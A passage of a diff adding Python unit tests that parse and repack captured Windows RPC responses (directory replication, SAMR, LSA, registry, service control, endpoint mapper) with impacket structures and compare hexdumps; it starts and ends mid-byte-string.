00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xbc\x01\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\xb8\x00\x00\x00\xc4\x01\x02\x00\xb8\x00\x00\x00[\x00L\x00D\x00A\x00P\x00:\x00/\x00/\x00C\x00N\x00=\x00{\x003\x001\x00B\x002\x00F\x003\x004\x000\x00-\x000\x001\x006\x00D\x00-\x001\x001\x00D\x002\x00-\x009\x004\x005\x00F\x00-\x000\x000\x00C\x000\x004\x00F\x00B\x009\x008\x004\x00F\x009\x00}\x00,\x00C\x00N\x00=\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00,\x00C\x00N\x00=\x00S\x00y\x00s\x00t\x00e\x00m\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00;\x000\x00]\x00\x01\x00\x00\x00\xa8\x00\x00\x00\xcc\x01\x02\x00\xa8\x00\x00\x00\x94\x00\x00\x00\x00\x00\x00\x001\xdf\xae\x8c\xc3\xe2HG\x95:\x13\xdfB\x03\xaf\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-\x00\x00\x00C\x00N\x00=\x00M\x00a\x00n\x00a\x00g\x00e\x00d\x00 \x00S\x00e\x00r\x00v\x00i\x00c\x00e\x00 \x00A\x00c\x00c\x00o\x00u\x00n\x00t\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00\x1e\xb98\x89\xe4\x0cE\xdf\x9f\x0cd\xd2;\xbbb7\x01\x00\x00\x00\x04\x00\x00\x00\xd4\x01\x02\x00\x04\x00\x00\x00\n\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xdc\x01\x02\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xe4\x01\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xec\x01\x02\x00\x04\x00\x00\x00\xe8\x03\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xf4\x01\x02\x00\x04\x00\x00\x00\n\x00\x00\x00%\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00.!a\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xdd@\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x12\x98\xd5\x0b\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x08\x00\x01\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00y\xfe\xe2\x0b\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x82-\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\xdf\x00\x00\x00\x00\x00\x00\x00\xb4]\xe3\x0b\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xbc-\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x007\x1bV\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xf30\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x007\x1bV\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xf30\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x007\x1bV\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xf30\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x04\x10\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00y\xfe\xe2\x0b\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x84-\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00y\xfe\xe2\x0b\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x86-\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x006\x1aV\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x9d0\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+        ncChanges = DRSGetNCChangesResponse()
+        ncChanges.fromString(getNCChangesResponse)
+        output = ncChanges.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(getNCChangesResponse), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(getNCChangesResponse)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(len(getNCChangesResponse), len(output))
+
+    def test_5(self):
+        #<class 'impacket.dcerpc.v5.samr.SamrLookupNamesInDomainResponse'>
+        samrLookupNamesInDomainResponse = b'\x01\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\xf4\x01\x00\x00\x01\x00\x00\x00\x04\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
+        hexdump(samrLookupNamesInDomainResponse)
+        samrLookupNamesInDomain = SamrLookupNamesInDomainResponse()
+        samrLookupNamesInDomain.fromString(samrLookupNamesInDomainResponse)
+        samrLookupNamesInDomain.dump()
+        output = samrLookupNamesInDomain.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(samrLookupNamesInDomainResponse), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(samrLookupNamesInDomainResponse)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(samrLookupNamesInDomainResponse, output)
+
+    def test_6(self):
+        lsarGetUserNameResponse = b'\x00\x00\x02\x00\n\x00\x0c\x00\x04\x00\x02\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00a\x00d\x00m\x00i\x00n\x00\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00'
+        hexdump(lsarGetUserNameResponse)
+        lsarGetUserName = LsarGetUserNameResponse()
+        lsarGetUserName.fromString(lsarGetUserNameResponse)
+        lsarGetUserName.dump()
+        output = lsarGetUserName.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(lsarGetUserNameResponse), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(lsarGetUserNameResponse)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(lsarGetUserNameResponse, output)
+
+    def test_8(self):
+        lsarLookupSids2Response = b'\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00 \x00\x00\x00\xef\xef\xef\xef\x01\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x10\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00\xee\xee\x04\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x02\x00\x00\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xab\xab\xab\xab\x1a\x00\x1a\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xab\xab\xab\xab\n\x00\n\x00\xaa\xaa\xaa\xaa\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00A\x00d\x00m\x00i\x00n\x00i\x00s\x00t\x00r\x00a\x00t\x00o\x00r\x00\xab\xab\xab\xab\xab\xab\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00G\x00u\x00e\x00s\x00t\x00\xbf\xbf\x02\x00\x00\x00\x00\x00\x00\x00'
+        hexdump(lsarLookupSids2Response)
+        lsarLookupSids2 = LsarLookupSids2Response(isNDR64=True)
+        lsarLookupSids2.fromString(lsarLookupSids2Response)
+        lsarLookupSids2.dumpRaw()
+        output = lsarLookupSids2.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(lsarLookupSids2Response), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(lsarLookupSids2Response)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(lsarLookupSids2Response, output)
+
+    def test_88(self):
+        baseRegEnumValueResponse = b' \x00\xc8\x00\x00\x00\x02\x00d\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00R\x00e\x00g\x00i\x00s\x00t\x00e\x00r\x00e\x00d\x00O\x00w\x00n\x00e\x00r\x00\x00\x00\x04\x00\x02\x00\x01\x00\x00\x00\x08\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\x00\x00\x0c\x00\x02\x00\x14\x00\x00\x00\x10\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00'
+        hexdump(baseRegEnumValueResponse)
+        baseRegEnumValue= BaseRegEnumValueResponse(isNDR64=False)
+        baseRegEnumValue.fromString(baseRegEnumValueResponse)
+        baseRegEnumValue.dumpRaw()
+        output = baseRegEnumValue.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(baseRegEnumValueResponse), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(baseRegEnumValueResponse)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(baseRegEnumValueResponse, output)
+
+    def test_9(self):
+        rCreateServiceWResponse = b'\x00\x00\x00\x00\x00\x00\x00\x00ZU\x81\xedB>RL\xb9v\xb1\xe3\xc5?~\x15\x00\x00\x00\x00'
+        hexdump(rCreateServiceWResponse)
+        rCreateServiceW= RCreateServiceWResponse(isNDR64=False)
+        rCreateServiceW.fromString(rCreateServiceWResponse)
+        rCreateServiceW.dumpRaw()
+        output = rCreateServiceW.getData()
+        print("ORIG: %d, REPACKED: %d" % (len(rCreateServiceWResponse), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(rCreateServiceWResponse)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(rCreateServiceWResponse, output)
+
+    def test_10(self):
+        netrShareEnum = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xbc\xbc\xbc\x00\x00\x00\x00\xbd\xbd\xbd\xbd\xfc\xb1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xbc\xbc\xbc\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00'
+
+        request = srvs.NetrShareEnum(isNDR64=True)
+        request['ServerName'] = NULL
+        request['PreferedMaximumLength'] = 0xffffffff
+        request['ResumeHandle'] = NULL
+        request['InfoStruct']['ShareInfo']['tag'] = 0
+        request['InfoStruct']['ShareInfo']['Level0']['Buffer'] = NULL
+        request['InfoStruct']['Level'] = 0
+        output = request.getData()
+        hexdump(netrShareEnum)
+        print("ORIG: %d, REPACKED: %d" % (len(netrShareEnum), len(output)))
+        print("="*80)
+        print("ORIG")
+        hexdump(netrShareEnum)
+        print("="*80)
+        print("REPACKED")
+        hexdump(output)
+        print("="*80)
+        self.assertEqual(len(netrShareEnum), len(output))
+
+    def test_11(self):
+        ept_lookup_resp = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa1\x00\x00\x00\xf3\x01\x00\x00\x00\x00\x00\x00\xa1\x00\x00\x00\xba\x94Rv\xbc`\xb8H\x92\xe9\x89\xfdwv\x9d\x91\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xba\x94Rv\xbc`\xb8H\x92\xe9\x89\xfdwv\x9d\x91\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xba\x94Rv\xbc`\xb8H\x92\xe9\x89\xfdwv\x9d\x91\x03\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xba\x94Rv\xbc`\xb8H\x92\xe9\x89\xfdwv\x9d\x91\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xeei\x86\xb0\xb5\x8c\xa5C\xa0\x17\x84\xfe\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xeei\x86\xb0\xb5\x8c\xa5C\xa0\x17\x84\xfe\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xeei\x86\xb0\xb5\x8c\xa5C\xa0\x17\x84\xfe\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xddtermsrv\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xdd\x0c\x13\xefR\xfd\x08\x88C\x86\xb3n\xdf\x00\x00\x00\x01\t\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00Secure Desktop LRPC interface\x00\xdd\xdd\xeei\x86\xb0\xb5\x8c\xa5C\xa0\x17\x84\xfe\x00\x00\x00\x01\n\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00DHCP Client LRPC Endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00DHCP Client LRPC Endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00DHCP Client LRPC Endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00DHCP Client LRPC Endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00DHCP Client LRPC Endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00DHCPv6 Client LRPC Endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00DHCPv6 Client LRPC Endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00DHCPv6 Client LRPC Endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00DHCPv6 Client LRPC Endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00NRP server endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00NRP server endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00NRP server endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00Event log TCPIP\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00Event log TCPIP\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00Event log TCPIP\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00IP Transition Configuration endpoint\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00IKE/Authip API\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00XactSrv service\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00XactSrv service\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00XactSrv service\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00XactSrv service\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00XactSrv service\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x007\x00\x00\x00\x00\x00\x00\x00\x01\x00\x